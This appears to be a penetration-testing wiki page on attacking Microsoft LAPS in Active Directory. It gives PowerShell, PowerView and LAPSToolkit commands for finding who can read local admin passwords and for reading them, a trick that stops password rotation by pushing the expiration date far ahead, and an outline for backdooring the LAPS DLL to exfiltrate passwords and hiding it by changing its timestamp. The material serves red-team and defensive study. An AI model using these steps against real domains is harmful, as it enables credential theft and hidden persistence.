LAPS

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Basic Information

LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.

When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes.

Check if activated

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS Password Access

You could download the raw LAPS policy from \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol and then use Parse-PolFile from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.

Moreover, the native LAPS PowerShell cmdlets can be used if they're installed on a machine we have access to:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView can also be used to find out who can read the password and read it:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

The LAPSToolkit facilitates the enumeration of LAPS this with several functions.
One is parsing ExtendedRights for all computers with LAPS enabled. This will show groups specifically delegated to read LAPS passwords, which are often users in protected groups.
An account that has joined a computer to a domain receives All Extended Rights over that host, and this right gives the account the ability to read passwords. Enumeration may show a user account that can read the LAPS password on a host. This can help us target specific AD users who can read LAPS passwords.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

LAPS Persistence

Expiration Date

Once admin, it's possible to obtain the passwords and prevent a machine from updating its password by setting the expiration date into the future.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

{% hint style="warning" %} The password will still reset if an admin uses the Reset-AdmPwdPassword cmdlet; or if Do not allow password expiration time longer than required by policy is enabled in the LAPS GPO. {% endhint %}

Backdoor

The original source code for LAPS can be found here, therefore it's possible to put a backdoor in the code (inside the Get-AdmPwdPassword method in Main/AdmPwd.PS/Main.cs for example) that will somehow exfiltrate new passwords or store them somewhere.

Then, just compile the new AdmPwd.PS.dll and upload it to the machine in C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (and change the modification time).